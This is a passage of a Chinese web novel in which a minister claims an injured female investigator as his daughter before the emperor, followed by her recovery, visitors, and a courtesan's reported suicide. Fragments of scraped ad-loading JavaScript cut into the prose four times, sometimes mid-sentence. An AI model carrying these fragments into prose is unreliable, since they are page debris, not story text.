余肃穿过人群,直奔曲霜姿,他小心翼翼地将女孩儿揽在怀里。少女昏昏沉沉地以为还是幻觉,她惨淡一笑,虚弱地挤出话来:“余叔叔你也来了,我看见我阿娘了,我和阿娘等了你好久。” 男人终究还是没忍住,眼泪顺着脸颊淌下。他抱起曲霜姿,帮她擦净脸上污渍,他在女孩儿耳旁轻语:“不,是阿爹来了。” 曲霜姿还是没缓过来,失神片刻才喃喃:“阿爹?我没有阿爹。” 余肃心痛如绞,他罕见地收起了笑,怒目而视、拂袖直去,“我要带我女儿面圣,本相要入宫你们也要拦嘛!?” “大人,让我随您去。”林寻雁拱手道。 男人默许,他脊背挺得笔直,抱着曲霜姿的手丝毫不敢松懈,虽然已近不惑之年,体魄却仍旧强健。 他大步流星,任由途中所遇之人好奇地投来目光,一路来到延和殿,总管太监盛忠抬手要拦,却被余肃一个眼神吓退。 “哎呦,余相,陛下正在……” 余肃根本不听,林寻雁打着胆子替他推开门,小心翼翼地跟在男人身后。 温孤昪眸色晦暗,不虞地看向余肃,殿内几个官员都骇得不敢说话,细若蚊声地唤了句余相。 两相对峙,余肃威压甚至不亚于温孤昪,只是龙椅上的男人眸色流转间尽是暴虐与狠厉,与余肃身上清冽之气迥乎不同。 “余相真是来势汹汹、来者不善啊。” “臣携小女,及小女之挚友前来拜见陛下,这样大的喜事,头一个来和陛下您分享,怎么能算是来者不善呢?” “朕可没听说过余相有一个这么大的女儿啊。” 余相深深看他一眼,嘴角牵起嘲笑,似是在嘲笑自己,也像是在嘲笑温孤昪,“陛下无所不知,臣在外养病时捡到的小姑娘,便收为义女一直养到现在。” “只是臣不喜盛京这些贵族子弟的作风,就把小女养在京都外头罢了。” 温孤昪攥紧眉头,狐疑地看向余肃怀里的女孩儿脸色瞬变,他紧紧盯着曲霜姿露出来的那小半张脸,竟然依稀从上面看到几分故人的姿容来。 他大惊,神情虽依旧平静,却几乎失态地站了起来,想要过来凑近些看看。 余肃将曲霜姿抱得更紧了些,连那小半张脸都不容许他人随意觊觎,“不过小女受了重伤,还请陛下派太医给她瞧瞧。” 温孤昪犹豫片刻,出声准许。 而在场众人无一例外,都看出男人的不同寻常,他仿佛对余肃的“女儿”格外好奇,眼神落在女孩儿身上,久久不移开。 “陛下也是位爱女心切的好父亲,想必定能理解微臣良苦用心。”余肃象征性地拱手鞠躬,“而小女说的没错,陛下圣明,这么多年了体恤民情、励精图治,这登闻鼓的规矩确实已经不合时宜。” 温孤昪盯着余肃,两人目光相交仿佛博弈一般。 半晌,温孤昪松口,“那便听丞相的,往后设立登闻鼓院、登闻检院受理吏民申诉之状,再直接由这二院向朕申报。” “凡敲鼓着而无要事之案者,再杖责也不迟。”余肃淡淡补充道。 沈无逆前几日也被罚了俸禄、受了杖刑,一回大理寺就审问犯人,派人抓捕余党,也就是曲霜姿今天来了,他才终于不用被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抬来抬去,强撑着站起来。 辛劳几日,曲霜姿一说要去敲登闻鼓,他便急火攻心,晕了过去。 幸好他提前料到,派人给余千帆送信,让他请求余大人帮忙。沈无逆不知曲霜姿和余肃的关系,也算是歪打正着,成全了余相的一颗爱女之心。 余千帆还没来得及告诉曲霜姿,江桃已经承认是自己陷害余肃。余老爷子高兴坏了,说自己年纪大了,便退了家主之位,而余千帆资历尚浅,便由余肃直接继任。 他父亲虽心有不甘,但好歹余千帆还是少家主。 “余相可还有事?”温孤昪举起茶杯轻轻一抿。 余肃已经提前了解了此桩案情,长风虽不见得是无辜的,但也罪不至死。更重要的是,长风有可用之处,还救了曲霜姿,日后若是能留在曲霜姿身边,也算是一大助力。 他三言两语就替长风开脱了,圣上准许其进入大理寺戴罪立功。 余肃心满意足,“多谢陛下。” 温孤昪不动声色地松了口气,两个男人都将目光挪到了林寻雁身上。印象中,这是她第一次正式面见皇帝,看着余大人游刃有余地和温孤昪商议,心中是佩服无比的。 到了她自己时,林寻雁已经紧张得说不出话来了,那一瞬间她大脑空白,差点忘了自己是跟着来是干什么的。 她猛地跪伏在地,又开始纠结自己刚刚进来时是不是忘了行礼,“臣女林寻雁参见陛下!陛下万岁万岁万万岁!” “林寻雁?”温孤昪饶有趣味地看她,“朕记得你,今日才赏过你是也不是?” 林寻雁小心翼翼地点头,“正是,臣女也是为了此事而来的。” “哦?赏赐太少了?”温孤昪眯起眼,一双狐狸似的眼睛上挑,若不是林寻雁此刻心神大乱,否则她定会发现男人的眉眼和曲霜姿的有几分相似。 只是男人眸间多了些许孤冷与薄凉。 林寻雁埋下头,不敢与皇帝对视,只能硬着头皮道:“臣女惶恐,许是大理寺传达有误,臣女手下杂役曲霜姿才是查破几桩案子的功臣。” “臣女能力有限,并不善于查案验尸之道。” “既然是你的人,这功劳也和你这主子脱不开干系。”温孤昪语气平常,觉得并无什么不妥。 “陛下有所不知,曲霜姿并非一个普通的杂役,而是臣女的好友,只是借臣女杂役的名号为国效力。” “那你觉得该如何?”温孤昪语气有点不耐烦,他不虞地揉着太阳穴。 “臣女认为,应该委任其为正式仵作,将臣女的赏赐通通赏给她。” 温孤昪盯着林寻雁看了几眼,少女眼中真挚,并非虚情假意,这使得他不禁生出好奇来,“你说的这个曲霜姿,真如你所言如此优秀?值得这样丰厚的嘉奖?” “此人现下在何处?” 林寻雁愣住,她看向余肃,见余肃没有插话的意思,她只得开口解释:“正是余大人的义女。” “余相,”温孤昪眸中闪过一道诡谲的光,他似笑非笑道:“怎么余府的千金,姓的是曲啊?还会查案验尸?” 52. 天上掉馅饼 曲霜姿一睁眼,便发觉自己到了个从未来过的陌生地方。她趴在榻上,茫然地端详着周遭陈设,开始思考自己这几天的经历到底是梦还是现实。 不然短短几天,昏过去两次也太没面子了吧。 两次?对!曲霜姿想起来了,她去敲登闻鼓,还因此挨了二十板子,那之后呢? 房门吱呀一响,曲霜姿警惕地一缩,身上立马传来生猛的疼痛,她没忍住痛呼出声。乐知焦急地小跑过来,“霜姿,你醒啦!” 曲霜姿缓了半晌,“乐知?咱们这是在哪?” “我们是在余府,”乐知端起一盏茶递到曲霜姿唇边,“你现在感觉怎么样?身上还疼嘛?早上的事儿你不记得了嘛?” 乐知帮她回忆起来,又告知了些曲霜姿不知道的,曲霜姿愣住,抬手掐了掐自己的脸,“什么……” “我还在做梦啊。”她念念有词,重新缩进了被窝里。 乐知无奈叹气,知道曲霜姿是高兴坏了,不敢相信天上掉馅饼这样的好事,她一边帮曲霜姿上药,一边安慰道:“陛下准你休息一个月呢,养好身体才能办案。” “你说的都是真的,”听到了这里,曲霜姿才渐渐相信了,一时间感慨万千,不知道该从哪里开始。 这时,门被叩响,余肃推门而入。 “霜姿,你醒了。”余肃眼底尽是温柔,又带着份隐秘的欣喜,“还是太冲动了,下次再遇上事情,不要自己一个人硬撑着,懂了吗?” 曲霜姿抓着床褥,不知所措。 她试图开口,但是眼泪随着这微小的动作蓄满了眼眶,她不敢抬头,不敢轻易透露自己的委屈和脆弱。 “我……”她鲜少像这样说不出话来,甚至不知道自己该说什么。 一只大手落在头上,爱怜又温柔地抚摸着。 “好好休息,放心住在这里,以后这儿就是你的家,一切都和我们在荨州时一样,好不好?” 曲霜姿依旧不作声,只轻轻点头。 从小到大,她都奢望着能有个爹爹,而不再是伙伴口中的“没爹的孩子”,再难听些的话也有。 其实那时余肃就常用糖豆儿哄她,让她叫几声爹爹来听,被曲婧知道后,两人还都挨了骂。 幼小的她无数次哭着扑进曲婧怀里,饶是如此,曲婧也绝不松口:不告诉她亲生父亲是谁,也不许她过度依赖余肃叔叔。 她只能一次次安慰自己,一次次站在所有嘲笑她的人的对面,告诉他们:“我虽然没有爹爹,但我有阿娘,我阿娘是天底下最好的阿娘,我才不需要爹爹呢!” 她将这种奢望埋在心底,似乎就此消弭了。 曲霜姿做梦都不敢想的事情,就这样始料未及地发生了,容不得她犹豫,容不得她退缩,容不得她拒绝。 她害怕梦醒,也害怕沉浸在梦里无法自拔。 余肃知道她心存芥蒂,也并不强求,他笑道:“外头还有人等着见你,你见不见?” “谁?”曲霜姿回神,怔怔发问。 “江桃江姑娘,还有她的妹妹。” “长风公子。” “林寻雁林小姐也递了信儿,说是明日要来呢。” 余肃顿了顿,似乎话还未尽。 乐知好奇,抢先问道:“还有?” “还有位闹别扭的,怕是想来却却不来,要不等你好了亲自去看看,”余肃看着曲霜姿,忍不住又一阵心疼,他又摸了摸少女的脑袋,这才缓缓开口:“不过,我不建议你去。” “好了,好好休息,不管是谁,你想见就见,不想见就不见。”男人笑得温柔,三步一回头地走了。 乐知眼巴巴地看着曲霜姿,“为什么余大人不建议你去啊?” 曲霜姿没回答,乐知就又纳闷地问,语气里还带着几分小心翼翼:“霜姿……你为什么还是不开心啊?” “没有,”曲霜姿无奈一笑,“不是说有人要见我吗?去请吧。” 乐知得了令,小跑着出了门,映入眼帘的就是江桃姐妹俩。乐知下意识地生出抵触来,不情不愿道:“哝,我们小姐请你们进去呢。” 江桃福身一谢,江梅则臭着脸,乐知看了更加不喜。 三人站在曲霜姿面前时,曲霜姿看着两个不高兴、中间夹着个笑得不值钱的没头脑,噗嗤一声笑了出来:“你们这是闹哪样?” “我已经不住余府了,今日是特地来拜谢霜姿姑娘。”江桃笑了笑,不再是为讨人欢心的假笑,曲霜姿看得出来,那笑是真心实意的。 “不用这么客气,”曲霜姿亦回以笑容,“乐知,快请客人坐下。” 江桃连连摆手,给旁边木头人儿似的小妹使了个眼色,江梅扭扭捏捏地跪在地上,磕了个头:“谢姑娘救命之恩。” 曲霜姿皱眉,欲动身亲自来扶却扯着了身上伤口,疼得嘶了一声。 乐知忙扑上来:“没事吧?” “没事,”曲霜姿咬牙,“快扶小梅起来,哪里用得着这么大的礼。” 乐知也不是真的对江梅有意见,赶忙去扶,谁料江梅力气大得很,铁了心地不起来,乐知挠挠头,尴尬地看向曲霜姿。 曲霜姿也向江桃投去不解的目光。 “姑娘让我明白,女子不一定要依附她人,靠自己活着才是最要紧的。”江桃目光如炬,笑得真挚灿烂,明媚无边。 “我今后打算靠着自己做做生意,只是小妹年纪小,不能跟着我吃苦,霜姿姑娘菩萨心肠,还请您收下她,让她跟着您做事儿。” 曲霜姿皱眉,“跟着我未必是好事呐。” “况且我也没那么大本事……”她话还没说完,女人扑通跪下,姐妹俩齐刷刷跪在一起,曲霜姿哪里受得了,只好应下。 乐知神色难看,眼神里透露出不可置信,隐隐还泛着泪光。 曲霜姿无奈地冲她摇摇头。 江桃江梅二人终于起来,江梅似乎也是不情愿,咬着牙忍着泪意。 曲霜姿在心底叹了口气,“江桃姑娘,你打算做什么生意?” “家中长辈在时,做得是酿酒的生意,只是酿酒的法子传男不传女,便失传了,”江桃无奈垂眸,“前几天我在家里找着了张方子,打算试试看。” 曲霜姿思忖后赞许地点点头,“很好,未来兴许能开家像醉烟居那样的酒楼呢,望有朝一日能喝到姑娘酿的酒。” 江桃连声道谢,江梅却一直缄默不言,拽着姐姐的衣裙不放。 女人也眼含热泪,抚摸着女孩儿的脸,“好啦,等姐姐赚大钱了就带你回家,到时候也将这酿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 酒的法子教给你。” …… 姐妹二人走后,乐知整理了下情绪,又把门外等了许久的另一人领了进来。 乐知看着长风,心里直发怵。 她头一次见这个少年时,少年后背贯穿着几道可怖的伤口,浑身血淋淋的,她根本没想到这人命这么硬,受了伤还能这么生龙活虎,除了脸色苍白,其余都看着跟没事人儿似的。 “长风!”曲霜姿见了他格外激动,恨不得立刻起身相迎。 乐知撅了噘嘴,好嘛,都是来和自己争宠的。她果真料事如神,长风打量了几眼曲霜姿,便开门见山道:“我要跟着你。” 曲霜姿傻眼了,今天这是怎么回事——上赶着来要来当她的跟班儿? 她眼中闪过怀疑,面色肉眼可见地凝重下来,语气不善道:“因为我成了余府的人?” 长风救了她的命,按理说曲霜姿不该这样忘恩负义。可接二连三的说要跟着自己,江梅一个小女孩儿也就罢了,长风这样厉害的人物到哪里不能混得风生水起? 曲霜姿何德何能?除了余府,她想不到别的缘由。 长风似乎料到曲霜姿会这么想,依旧平静如水地看着曲霜姿,二人久久对视,久得曲霜姿忍不住挪开视线,还莫名心虚起来。 “我会算命,你信吗?”长风冷不丁冒出来一句。 曲霜姿和乐知都不可思议地瞪大了眼睛。 “我算出来——跟着你,未来的日子会好过些,”长风面无表情地说着荒唐话,“不然我为什么要救你?” “那我、我要是不答应呢?”曲霜姿半晌才磕磕绊绊憋出一句。 长风挑眉,笃定道:“你会答应。” “况且日后我在大理寺当杂役,跟着谁不是跟,还不如挑个看着好相与的。” 曲霜姿顺着他的话想了想。 大理寺也就只有几个常露面的人物,真正参与办案的就是沈无逆、曲霜姿再算上一个林寻雁。 她这样一想,居然觉得长风说得很有道理。 总不能让长风去找那个总是拽上天的霍迁吧。 — 终于送走了长风,曲霜姿身心俱疲,无奈地叹了口气。 乐知还是有些闷闷不乐的,曲霜姿苦笑地唤她过来:“怎么脸色这么臭?” 乐知性子直,噘噘嘴哼了声就忍不住了,“谁都能跟着霜姿你干事儿啊。” “傻姑娘,怎么就叫跟着我啊,大家都是各取所需罢了,而且你和他们不一样啊。”曲霜姿耐心道。 一听“不一样”,乐知眼睛都亮了,别扭地问:“怎么个不一样?” “咱们认识最久,又经历这么多事儿,非主仆而是朋友,比起朋友更像家人,你说是也不是?” 乐知又湿了眼眶,点头应是,“我以后再不吃味了。” 曲霜姿无奈笑笑,探着脑袋看向窗外。 月儿已经上了天边,有几颗星子在闪,凉风顺着窗户溜进屋内,吹得人心直颤。 今日之事,曲霜姿心底虽难免有几分不甘,但原也没想和圣上提起,可没成想林寻雁却亲自向圣上陈情说明,还了她该有的公道。 她对自己的不信任感到惭愧。 但幸甚至哉,她终究没有看错人。 53. 恨铁不成钢 九月的天彻底冷了,阴冷几日,好不容易出了太阳,曲霜姿闲适地伸了个懒腰,“一躺就是半个月,再闲下去真要长草了。” 乐知见她醒了,笑嘻嘻地扑过来,“你还是好生歇着吧,余大人说了,是圣上要你休息一个月,少一天都算抗旨。” 曲霜姿嗳嗳直叹气,她身上的伤好了大半,眼下自由活动已经不成问题。 她叫江梅先和姐姐一起做生意,等自己回大理寺再跟过来,长风在大理寺也忙着,偶尔过来汇报些大理寺的情况。 沈无逆也终于聪明了,带着大家伙儿抓了好几个贪官污吏,还把人牙子在全大安的余孽都一网打尽了。 然而他也忒没心了点儿,忙归忙,自从曲霜姿住到余府,沈无逆都没来看她一眼。 更古怪的是,余千帆这些日子也不露面,他们好歹算是居于同一屋檐下,余千帆却总躲着曲霜姿似的。 “乐知,你打听到了没有,余千帆最近忙着干什么呢?”她四仰八叉地躺在榻上,翻来覆去都觉得不自在。 “据说常在醉烟居和温香楼,咱们要去看看吗?” 曲霜姿猛得坐起,登时来了劲儿,“走!”余千帆之前被逼着当少家主装混不吝也就罢了,如今也没人逼着他继任家主,怎么还整天游手好闲的? 抱着这样的疑惑,曲霜姿给余肃叔叔打了声招呼,就风风火火地去了温香楼,顺便也好去看看婉兮姑娘。 曲霜姿二人立在温香楼门前发愣。 温香楼大门紧闭,整幢楼空了般诡异的安静。纵使是休沐,那么多的姑娘住在一起,也合该热热闹闹的。 她敲了几次门,终于等着了人来开门。 结果来人一开口就是送客,曲霜姿急急拦住小侍女,“我是来看望婉兮姑娘的。” “那更不必了,婉兮已死,你又何苦来假惺惺。”小侍女牙尖嘴利、语气不善。 曲霜姿不与她计较,她有些没听明白,心急如焚道:“姑娘,你说清楚呀,什么叫去了?” “死了呗。”小侍女撇撇嘴 “不是请了郎中为她医治么,怎么会如此?” 小侍女神情很是不耐烦,“想死就死了呗,一头扎进河里,怎么会死不了?好好的温香楼,真是晦气。” 想来这小侍女也只能在曲霜姿面前嚼嚼舌根了,但曲霜姿还是不死心,“可有报官?可有验尸?” “报官了,但又怎么样呢?原本就是这样的命,死了也就死了。” 女子言语之间毫不掩饰自己的嫌恶与刻薄,一句句话听得曲霜姿直皱眉,她见再问不出什么就放弃了,转头奔向大理寺。 乐知亦听得难受,蹙眉问:“温香楼的姑娘们不都很好吗?什么叫‘原本就是这样的命’……” 曲霜姿轻声道:“总会有人有不同的想法,冷香姑娘那样的极为少数。” 她这些日子见了不少个性自由的女子,也看着各式各样的女子开始踏出世俗,以至于她都被迷惑,以为世界都是如此了。 真正困于世俗的,她们是看不到的。 就像婉兮,这样轻飘飘地结束了自己的生命,仿佛一生都无足轻重。活着时小心翼翼,盼望着能遇上真爱,从此一生一世一双人,希望破灭了,整个人就像被打湿的烛,不久就熄灭——了无生息地去了。 除了曲霜姿她们,甚至不会有人为她感到唏嘘。 曲霜姿愁眉不展,想去大理寺问问这案子的处理。 谁知刚到大理寺二人就听见一阵吵嚷声,中间夹杂着女人的哭声,曲霜姿探头一瞧,居然是熟人——杨氏衣料铺的女店主安绫。 “乐知,我这段时日太忙,都忘记去店里看看,”曲霜姿小声问:“安绫是不是把铺子打理得很好啊?” 乐知回想片刻,支支吾吾道:“好像是关了。” 关了!?曲霜姿心一惊,再抬眼看向安绫哭哭啼啼的可怜模样,俨然还和她丈夫在时一模一样。 习惯了依赖男子,习惯了男主外女主内的日子,突然叫她改变,无异于让溺水之人离开救命的浮木。 安绫四十多岁的年纪,怎么可能能够轻易改变?况且家里出了这样的事,平时来买衣服的客人心中怕也会生出忌惮,这生意怕也难做。 曲霜姿咬牙,抬脚就要踏进大理寺,却被一只手给拉住。 曲霜姿回头,是白术。 她语气焦急,“白术,你这是干什么?安老板怎么了,可是遇上了什么案子?可是被人欺辱了?” 白术摇摇头,“姑娘不如继续看下去,这安绫也不是头一次来了,只是这次让你赶上了。” 曲霜姿不可置信地瞪大眼睛,喃喃出声:“什么……”她逐渐听清了女人夹带着哭腔的声音,竟然是吵着要见她和沈无逆。 “我一个妇道人家,无儿无女,你们还把我丈夫抓去了,叫我该怎么生活啊?”安绫嚎啕着,继续不依不饶,“你们要对我负责的。” 曲霜姿傻了眼,没想到安绫居然成了这幅模样。 她记忆力的安绫,虽然很是怯懦,但温柔和善,笑起来格外亲切。 白术淡淡道:“生活所迫,不得不如此。” 大安赋税负担也重,从前店里生意好也就罢了,可是……曲霜姿不敢深想,既觉得女人悲哀,又觉得自己天真,她早该想到这样的情形。 “她之前来,你们是怎么处理的?” “我家公子会给她些银钱,但十天半个月她就会再来。” 曲霜姿想起沈无逆平日生活的精打细算,鼻子一酸,声音都变了调,“怎么不告诉我呢?真是难为他了。” “他人呢?” “上次晕倒后,我家公子身体一直不大好,十几日奔波劳碌,最近又感染了风寒,今日告假了。”白术眼神中透露出忧虑,无声叹息。 “晕倒?”曲霜姿心中咯噔一下,“什么时候的事儿?” 白术见她不知,面上显出几分不悦,但很快掩饰住,他避而不答,拱手道:“我家公子让我来取东西,失陪了。” 曲霜姿飞快扭头看向乐知,乐知似乎并不惊讶,她忙问道:“他为什么晕倒?到底什么时候的事?” 沈无逆千叮咛万嘱咐,让乐知不要告诉曲霜姿,乐知忙甩脑袋,把头摇得像是拨浪鼓。曲霜姿气不过,拂袖踏入大理寺,“安老板,您找我有何事?” 乐知没拉住,懊恼地站在一旁。 安绫一见曲霜姿,怔怔地发起了愣,眼泪止不住地往下流,女 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人局促地掏出帕子擦拭,似乎很是难为情。 女人不吭声了,曲霜姿也不多说,直接了当地问:“您的店呢?” 她语气淡然,眼神中充满麻木的悲悯。 女人带着她来到从前的杨氏衣料铺,店门虚掩,透过门缝也只能看见黑漆漆一片,恍若另一个世界。 曲霜姿推门而入,激起一层灰尘,她呛咳几声,皱眉问道:“纵使没有顾客,也该把店打扫干净吧。” 女人咬唇嗫喏:“我丈夫不在,收拾得再干净又有什么用呢?”安绫拉住曲霜姿,祈求道:“大人,您看能不能把我丈夫早点放出来啊。” “不然我……怎么活得下去呢?”安绫失神喃喃,整个人就要瘫软在地。 曲霜姿强拉着她,逼她看自己的眼睛,“没有男人你就活不下去了吗!?店还在,满店的衣料也还在,你裁制衣裳的手艺也没丢了吧,怎么就活不下去了!” 女人怔怔摇头,眼泪不值钱地涌出来。 “我给你两个选择,一是这店里的料子我都买走,就给你一次钱,再来大理寺就乱杖打死!”曲霜姿恨铁不成钢,“二,我现在同你一起去找曾经你的那些老主顾夫人们,重新把生意做好了。” 安绫支支吾吾,许久才下定决心,“我得守着店,店得开下去……” “不然等他回来该怎么办呢……” 曲霜姿无奈地看着她,女人已经习惯了围着丈夫好孩子转,事到如今依旧难改,但能正常生活也是万幸了。 于是曲霜姿带着安绫到各家府邸走了一趟,那些个夫人都不是铁石心肠的,多多少少订了些衣裳。 “你做的衣裳若是能讨她们喜欢,她们就定会继续光顾你的店,爱美之心人皆有之,安老板亦懂吧。”她深深看了女人一眼,语气带着不符合她年纪的语重心长。 她终究是心软的,曲霜姿虽恨女人窝囊,但她也心知肚明,全是这世道的错,她无声叹了口气,“我也订几件衣裳。” 她掏出余肃新塞给自己的钱袋,装作漫不经心地将钱袋扔给了安绫,她微微启唇,眼中似乎带泪:“您得好好活着。” “静好该希望您过得好。” 就像她也原本希望曲婧该是世界上最幸福的女人一样。 安绫扑通一声跪下,忍不住掩面痛哭,曲霜姿听见她口中破碎的道谢,伸出去扶的手颤抖着收了回来。 — 物极必反大抵就是这样的吧,她闲适了这么多天,今日一出门噩耗便接踵而至。曲霜姿在夜色中每踏出一步,呼吸便沉重一分,压在她灵魂上的顽石就更往下几分。 乐知见她郁郁寡欢,连忙扶着她安慰:“霜姿,我知你心绪不佳,但……”然而她话还没说完就语气突转,惊呼道:“余公子!” 二人眼下快走到了醉烟居,碰见余千帆也并不奇怪。 曲霜姿阴沉着脸,冷冷地和余千帆对视。 余千帆尴尬地摸了摸鼻子,欲言又止最后还是决定打声招呼,然而嘴还没来得及张开,对面的曲霜姿转身就走。 干脆利落,头也不回。 而且走的是回府的反方向。 少年瞬间急了,三步并作两步地往上追,“哎,你去哪?不回家嘛?” 54. 囿于一隅地 余千帆追着曲霜姿绕了一大圈儿,他万万没想到,自己一个风华正茂好少年居然还跑不过两个姑娘,生生把人追丢了。 他又四处转转,寻找未果后懊丧地回了府,谁料问过侍女才知,曲霜姿主仆二人早就回来了。 “那他们来过吗?”余千帆追问道。 侍女摇了摇头,“家主来过,只是说让您收收心,好好想想,不要将自己囿于一隅之地。”侍女眨巴着眼睛问:“公子,这是什么意思啊?” 余千帆咬牙未答,扭头就向东院走去。 东院是家主所居之地,曲霜姿作为余肃的义女亦住于此。余千帆躲了少女这些日子,曲霜姿要生气也是常理,他嗳叹一声,做好了赔礼道歉的打算。 曲霜姿住的屋子黑漆漆的,并没有人声,余千帆纳闷地四处张望,忽然从头顶传来女声叫他的名字,把他骇出一身冷汗。 “你、你……大晚上一个姑娘家不睡觉,坐屋顶上作甚?” 曲霜姿冷嗤道:“你大晚上不睡觉,鬼鬼祟祟跑到姑娘的闺房前又是作甚?” 余千帆气不打一出来,差点忘了自己来的目的,他看向月光下的少女。曲霜姿沉着一张脸,居高临下地睥睨他,少女似乎心绪不宁,细眉微蹙,整个人淡得要化在这月光里一般。 余千帆坐到她身边,小心开口道:“对不起。” 曲霜姿没吭声。 “我不该躲着你。” 曲霜姿还是不说话,余千帆不情不愿地小声道:“我只是觉得,你我突然就变成了表兄妹……你明明早知道这一切,可是你不告诉我。” 曲霜姿一怔,她抬眼看向少年,余千帆又恼又羞的,莫名有几分好笑。 “我以为你会高兴,而且我虽识得余相,但并不知道他会收我为义女,你不是一直说咱们是好兄弟嘛?” 余千帆没想到就被自己这么一语成谶了,他刚刚觉得自己有些喜欢曲霜姿,活了十七年头一次有了春心萌动之感,结果……结果…… 他没法儿想下去了,破罐子破摔地憋出一句:“那你不生气了吧。” “你知道我为什么生气么?”曲霜姿还是冷着一张脸,眼神中透出几分嫌弃,“你觉得我只是因为你不理我而生气?” 这下轮到余千帆愣住了,他想问难道不是吗,但却被少女的目光吓住,硬憋了回去。 曲霜姿气得站起来,她本来便满腹愁绪不欲多言,这叫余千帆一气反而又打开了话匣子,“你难道忘记那日所许愿望了吗?” “什么?”余千帆下意识问道,脑中瞬间浮现起了“愿我是我”,他恍若大梦初醒,粗喘几口气,口中不住喃喃重复。 “现在没人会逼你了,你完全可以去做你的余飘荡去,可是你这些天一直虚度光阴,你不想做你自己了吗?”曲霜姿字字句句铿锵有力、沁人心扉。 余千帆看向她,又看见了少女眼中熊熊燃着的火光。 少年被戳破一般彻底泄了气,他懒散颓废地躺了下来。夜幕低垂,今夜没有半颗星子,没有他儿时被逼着挑灯夜读或练武时抬眼能看见的星子,他这才慢半拍地反应过来。 二人缄默良久,余千帆长舒一口气,终于开口:“那你的梦想呢?” 曲霜姿的愿望惊为天人,余千帆从小认识的公子哥们没一个能许出这样的愿望,他也想象不到哪家闺中小姐会有这样的想法。 愿天上人间,占得欢娱,年年今夜。 曲霜姿似乎很少拘泥于一花一草、一人一物,她眼中向来都是山河万里、人间悲欢,她太不与众不同了。 明明渺小如草芥,却有颗悲天悯人的心。 余千帆只背负着自己的愿望就疲累不已,曲霜姿若真的时时挂念着那样宏伟的希冀,难道不累吗?她会受到更多的打击、挫折,她会难道没有想过放弃吗? “依旧。”曲霜姿声音虽有几分倦意,但话语依旧真挚而郑重。 “在这条路上走得越久、走得越远,反而更加看不到尽头,甚至有‘当局者迷’之感,越走越难,难上加难……” “但还是依旧。”曲霜姿忽得笑了,眯起来的眼睛像是一朵小花,生机盎然地在月光下摇曳。 “你要是真的想去看看‘长江万里晴’,那就去看看,也去看看人间百态,说不准也能和我有同样的想法。” “只可惜我还要留在盛京城,想办法给我阿娘报仇” 余千帆其实没完全听明白少女的话,他完全在她的笑颜里失了神。 末了,痴痴他,应道: “好。” — 次日清晨,曲霜姿派人去大理寺打听,甫一得知沈无逆依旧告假,她就匆匆去往了沈府,只可惜乐知被余府的管家唤去学规矩,不能同往。 沈府一切依旧。 好歹她曾断断续续住过一段时日,心中有些怀念,曲霜姿这几个月来四处辗转,不知道又能在余府住多久。 侍女流萤对她都恭敬了许多,从前算像是朋友似的相处,如今却真是物是人非。余府正东山再起,靠着余肃再次风光无限好起来,曲霜姿又一跃成了余府名义上唯一的小姐,自然不能同日而语。 “曲小姐,我们大人在房里休息呢,您要不改日再来?” 曲霜姿步履如飞,抢到了流萤的前头,“我是专程来谢谢你家大人的,你休息去吧,我能找得到。”流萤追上曲霜姿,但也不好硬拦,“曲小姐,您千金贵体,万一被感染就不好了。” 不对,曲霜姿后知后觉地发现,流萤的神情很不自然,这其中定有猫腻。 她来到沈无逆房前叩了叩门,没人应。 流萤仰着笑僵的一张脸讨好道:“大人许是睡着了,曲小姐可以先去从前的屋子里等候,府里下人收拾得很干净呢。” “好啊,”曲霜姿笑吟吟地答应,流萤顿时松了口气,转身要把曲霜姿往另一个方向引。趁着流萤疏忽大意,曲霜姿眼疾手快欲推门而入,然而沈无逆的侍女也不简单,飞快扼住曲霜姿的手腕。 速度之快,竟让曲霜姿差点没反应过来。 原来疏忽大意的是她自己,从前是她轻看了这个侍女。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 流萤拔高声音,语气中夹带着一丝不易察觉的威胁,但她脸上却将威胁两个大字完完全全写了上去,“曲小姐。” 曲霜姿这下有了前车之鉴,不欲与流萤僵持,以迅雷不及掩耳之势抬脚猛踹,门终于被踹开,她眯眼冷笑道:“我不曾想,沈府的待客之道竟是如此。” 流萤咬牙,但还是拗不过曲霜姿,只得松手。 曲霜姿一脸得意,沈无逆的侍女虽反应极快,似乎还会点武术,但这演戏的能力实在是差强人意。 她几步就走到了里屋,流萤就寸步不离地紧跟着。 榻上的确躺着个男人,侧着身体,被子蒙了大半张脸。 流萤压低声音,“曲小姐,你看我没有骗您吧。” “确实,”曲霜姿挑眉,转身拍拍流萤的肩膀,与之擦肩而过径直出了府。 因为她彻底确定了,沈无逆不在府上,躺在他榻上的人身形虽和他有几分像,但终究是同一个人,沈无逆身量要更高些,身上气质也非常人能比。 那么沈无逆既不在府上,也不去大理寺,难不成是去找二皇子了? 她往余府的方向走去,一路上都在想沈无逆这个人,雅正端方、君子如玉——他大多数时候也确确实实就像块儿温润尔雅的玉,看着澈然透净,实则却是一块冰。曲霜姿想温暖他,又怕冰化了,且难免会被寒气所伤…… 她忧心忡忡地停在醉烟居门口,动了借茶消愁的念头。 等到坐到桌前的时候,曲霜姿又忽然改了主意,点了一壶百花酒。上次误喝后她便念念不忘,所幸醉烟居的花茶和百花酒有些许相像,但终究是没有酒的那一份醇厚浓郁。 再说了,说不定她病酒的毛病好了呢?哪怕不好,也就是难受难受罢了,不至于要了她的命。 曲霜姿心中郁邑,模仿着记忆里曲婧喝酒的姿态,故作洒脱地将酒抵在唇边。 正欲轻抿一口,不知从哪里飞来一块儿石子,砰的一声打落了她的杯子。酒杯在曲霜姿眼前炸开,幸好她躲得快,否则高低得被碎片划伤。 她警惕地向四处看去,借着刚刚仓促的回忆很快锁定了石子飞来的方向。 她选的这个位置临近窗边,微微伸伸脑袋就能看到外头景致,曲霜姿扒着窗沿,往外仰首张望。 正与屋顶上的男人面面相觑。 曲霜姿无声惊呼,定睛一看,这人不是沈无逆是谁?她张口就要喊,却被男人一把捂住了口鼻,二人突然凑得极近,几乎都要贴在一起。 少女先是被吓了一跳,反应过来后就呜呜地出声,眼睛瞪得圆鼓鼓的,似有熊熊怒火在燃烧。 